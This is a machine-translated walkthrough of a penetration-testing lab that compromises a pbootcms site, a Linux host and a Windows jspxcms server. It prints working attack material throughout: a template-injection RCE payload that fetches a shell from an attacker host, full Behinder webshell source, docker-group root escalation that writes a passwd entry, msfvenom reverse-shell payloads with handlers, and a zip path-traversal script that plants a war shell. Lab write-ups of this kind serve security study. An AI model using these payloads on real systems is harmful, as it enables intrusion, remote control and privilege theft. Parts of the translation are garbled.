Dark moon penetration actual shooting range - item 8
Environment construction
Network card design
What needs to be prepared are three network cards, the NAT mode network card provided by the virtual machine, and two self added 19 and 18 network cards in host mode only
Topological graph
Specific topologies of the two practical projects
password
00x1 - Information Collection
Port scan
masscan
sudo masscan -p 1-65535 192.168.1.136 --rate=1000
See the typical 8888 port and 22 and 80 ports
Try to access
8888
nmap
sudo nmap -p 22,80,888,8888,3306,21 -sS -sC -v -A 192.168.1.136 -oA 136
Bind domain name
Bind the domain name according to the prompt
binding
Determine cms for external network management – pbootcms
00x2 external network management
cms penetration idea
Determine the cms version, check the upgrade instructions, especially the vulnerability announcement, and then compare the files to locate the vulnerabilities and analyze the vulnerabilities and patches
Version determination
I:
Generally, it is a simple information collection of the website, viewing the information of the website, and possibly obtaining some version information of the website
2: View web pages using the catalog scan tool
3: Download the source code audit of the website, see if there is any content about the web page in the source code, and then visit
We use the second way
Method 3:
Download source code audit (download the latest version directly on the official website)
We can see the txt text of changelog in the doc folder
visit
The result is the same as version 2.0.8
Vulnerability search
Also, check the upgrade log information of 2.0.9 on the official website
It did not specify security vulnerabilities
Directory scan
In the above, when we use the directory scanning tool, we find that there may be backup files
Using dirsearch
python3 dirsearch.py -u http://www.cf1.com/ -e * -w db/xl.txt
The results are not good. Let's write a scanning tool
import requests # Scan address url1 = "http://www.cf1.com/" # Common website source code backup file name dir1 = ['web','website','backup','back','www','wwwroot','temp','config'] # Common website source code backup file suffix final2 = ['tar','tar.gz','zip','rar','bak'] # Start scanning for i in dir1 : for j in final2 : # Splice backup file name filename = str(i) + '.' + str(j) # Splice final url url = str(url1) + '/' + filename # Return file name print(filename + ' ',end='') # Return the length of the data packet, and judge the backup file of the website according to the length print(len(requests.get(url).text))
result
Backup files found
Some configuration information
At the same time, it is found that pboot CMS uses sqlite database
Attempt to access database file
Open database
decrypt
pay
Find again
The first nine digits of a
admin****
Log in directly to the background
Direct use of online explosion
Background RCE
Using payload
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('', ['p','h','p','i','n','f','o'])))}!!!{/pboot:if}
In the site information of the website background, you can directly modify the foreground index PHP file
Visit the home page again
It shows that there are rce vulnerabilities
Make payload
The above statement can be executed successfully, but the following attempt to write a sentence is wrong, and the written file cannot be executed
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['eval($_GET[cmd])'])))}!!!{/pboot:if} eval($_GET[cmd])
But we can't write the horse directly. We can use file when setting the blacklist_ get_ Connect() function
{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['like','.php']),implode('',['<?phpfile_','put_','contents(','"like4h.php",','file','_get_','contents("','http://192.168.1.130/shell.txt"))?>'])))}!!!{/pboot:if}
Because the implode function can be used and the characteristics of array can be used, we can use file_ put_ The connect function writes files
About file_ put_ Connect() can also continue to use arrays
Generated payload {pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['like','.php']),implode('',['<?phpfile_','put_','contents(','"like4h.php",','file','_get_','contents("','http://192.168.1.130/shell.txt"))?>'])))}!!!{/pboot:if} Use first file_put_contents Function write like4.php The contents of the file and the written contents are the contents of the following array: <?php file_put_contents("like4h.php",file_get_contents("http://192.168.1.130/shell.txt"))?> Then visit like4.php A file will be generated in the directory like4h.php Documents 1.txt The content of is all kinds of horses we write ourselves Ice scorpions are used here
horse
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
generate
No error is reported or displayed, indicating that the writing is successful
connect
On the last pony, it is convenient to use the ant sword
Horses with d shields are used here
connect
Take webshell
bypass_disablefunc
Try to execute the command when you win the weh shell, but there is a disablefunc function
Try using the ant sword
We already know the version of php
Using plug-ins
Execute to get shell
00x3 tear
Upgrade permissions
The wehshell I just got is the permission of www, which is too low
Upgrade permissions
Try using the commonly used: bypass_disablefunc_via_LD_PRELOAD-master
Can upload
Upgrade permissions, try to use
Fruitless
Back to shell
Continue to return to the shell obtained above and view some user information
View basic information
(www:/www/wwwroot/www.cf1.com) $ ifconfig #Two network cards docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:cc:5b:77:44 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens38: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.136 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::20c:29ff:fe75:7078 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:75:70:78 txqueuelen 1000 (Ethernet) RX packets 1066486 bytes 1247936317 (1.2 GB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 407823 bytes 35915903 (35.9 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 1669 bytes 145765 (145.7 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1669 bytes 145765 (145.7 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 (www:/www/wwwroot/www.cf1.com) $ cat /etc/passwd #View basic user information root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false whoopsie:x:112:117::/nonexistent:/bin/false kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:114:119::/var/lib/saned:/usr/sbin/nologin pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false cf1:x:1000:1000:CF1,,,:/home/cf1:/bin/bash #Users found smmta:x:122:127:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin smmsp:x:123:128:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin www:x:1001:1001::/home/www:/sbin/nologin mysql:x:1002:1002::/home/mysql:/sbin/nologin sshd:x:124:65534::/run/sshd:/usr/sbin/nologin When scanning the port above, we found that the target machine is open 22 ssh Port, view sshd configuration information (www:/www/wwwroot/www.cf1.com) $ cat /etc/ssh/sshd_config #View sshd configuration information # $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value. #Port 22 #port information #AddressFamily any allows other ip connections #ListenAddress 0.0.0.0 #ListenAddress :: #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_ecdsa_key #HostKey /etc/ssh/ssh_host_ed25519_key # Ciphers and keying #RekeyLimit default none # Logging #SyslogFacility AUTH #LogLevel INFO # Authentication: #LoginGraceTime 2m #PermitRootLogin prohibit-password #root login is not allowed #StrictModes yes #MaxAuthTries 6 #MaxSessions 10 #PubkeyAuthentication yes #Discovery can be logged in through the public key # Expect .ssh/authorized_keys2 to be disregarded by default in future. #AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 #AuthorizedPrincipalsFile none #AuthorizedKeysCommand none #AuthorizedKeysCommandUser nobody # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! #PasswordAuthentication yes #Allow login with password #PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #GSSAPIStrictAcceptorCheck yes #GSSAPIKeyExchange no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes #AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PermitTTY yes PrintMotd no #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #UseDNS no #PidFile /var/run/sshd.pid #MaxStartups 10:30:100 #PermitTunnel no #ChrootDirectory none #VersionAddendum none # no default banner path #Banner none # Allow client to pass locale environment variables AcceptEnv LANG LC_* # override default of no subsystems Subsystem sftp /usr/lib/openssh/sftp-server # Example of overriding settings on a per-user basis #Match User anoncvs # X11Forwarding no # AllowTcpForwarding no # PermitTTY no # ForceCommand cvs server determine ssh Key login settings for 3. set up SSH,Turn on key login function edit /etc/ssh/sshd_config File, set as follows: RSAAuthentication yes PubkeyAuthentication yes In addition, please pay attention root Can users pass SSH Sign in: PermitRootLogin yes Disable password login after you complete all settings and successfully log in as a key: PasswordAuthentication no Finally, restart SSH Services: [root@host .ssh]$ service sshd restart
The discovery target can be used for key login
Find key
Generally, when the command is executed to generate the key, we operate in the user's home directory, so we generally check the directory file first
Copy key
Connect to the target machine via ssh
ssh -i id_rsa cf1@192.168.1.136
View user information
groups id
Dockers exist on the target machine
test
There is indeed a docker
00x4 - lifting right extranet target machine
Above, we know that docker exists in the target machine. If the right is raised, we can directly use the way of docker root to raise the right
reference resources https://blog.csdn.net/weixin_46700042/article/details/109532502
Upper means
Determine whether to connect to the Internet
Open whole
Pull image docker pull alpine Execute mirrored file docker run -v /etc:/mnt -it alpine Go to the corresponding directory of the host cd /mnt Generate user name and password format file openssl passwd -1 --salt like4h password:123456 $1$like4h$JwJbrYKAxFDTfC5uBdzOj/ to passwd Add user information vi /mnt/etc/passwd like4h:$1$like4h$JwJbrYKAxFDTfC5uBdzOj/:0:0::/root:/bin/bash Go back to the host and log in exit su like4h 123456
process
View the file contents of the host in the docker container
Generate user name and password format file
Add user information to passwd
Go back to the host and log in
Launch MSF and CS
Generate attack payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=9010 -f elf > /home/kali/Desktop/fbi/cf1/cf1re
upload
Set listener
use multi/handler set payload linux/x86/meterpreter/reverse_tcp show options set lhost 0.0.0.0 set lport 9010 run
Execute online
Set CS Online
Set crossc2
Show down
00x-5 other hosts found
Ubuntu host information collection
Network card information, router information
nmap scan other hosts
sudo nmap -sS 192.168.1.0/24
In fact, it's better to install an nmap on the target machine
apt install nmap nmap -sn -T4 192.168.0/24
Use nmap for detailed detection
nmap -sS -A 192.168.1.124
Port 8080 is open and has a website. It should be built by tomcat
Windows server 2012
Other target machines found
Direct access
Vulnerability search
The vulnerabilities found are all the vulnerabilities of the background getshell and login attempts
Password direct blasting
Password 123456
Background RCE reproduction
Jspxcms background zip decompression function directory traversal vulnerability causes getshell
reference resources https://blog.csdn.net/lastwinn/article/details/119303905 https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/
Prepare war script
jar.exe cf shell.war ma2.jsp
compress
import zipfile if __name__ == "__main__": try: binary = open('shell.war','rb').read() #File to compress (shell.war) zipFile = zipfile.ZipFile("like4h2.zip", "a", zipfile.ZIP_DEFLATED) #Compressed file info = zipfile.ZipInfo("like4h2.zip") #Compressed file zipFile.writestr("../../../shell.war", binary) #Compressed file name zipFile.close() except IOError as e: raise e
Document content
Then put the compressed package into an empty folder for compression
upload
Upload successful, click unzip
Access CMD / CMD jsp
jsp successfully parsed and bypassed the verification of the website
Pony problem
Change horses
Try the fvenom attack directly
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.130 LPORT=8888 -f raw > /tmp/shell.jsp
encapsulation
Same as above
pack
Pack again
upload
visit
There is no error reported and the instructions can be implemented
Upper msf
The attack payload above is ready
Set listening
use exploit/multi/handler set payload java/jsp_shell_reverse_tcp set lhost 192.168.1.130 set lport 8888 set shell cmd.exe exploit
Access attack payload
Successfully launched
Go to CS
Set listening
First msf Obtained on session Run in the background background Then use exploit/windows/local/payload_inject To inject a new payload reach session in Set new payload use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.1.130 //cs host address set LPORT 6 //Set the listening port at will, which needs to be consistent with cs set session 1 //Set the meterpreter to be dispatched set DisablePayloadHandler true //Generation of a new handler is prohibited
fail
Write at the end
Welcome to join the planet and learn together. There are all kinds of red team resources, tools and tips!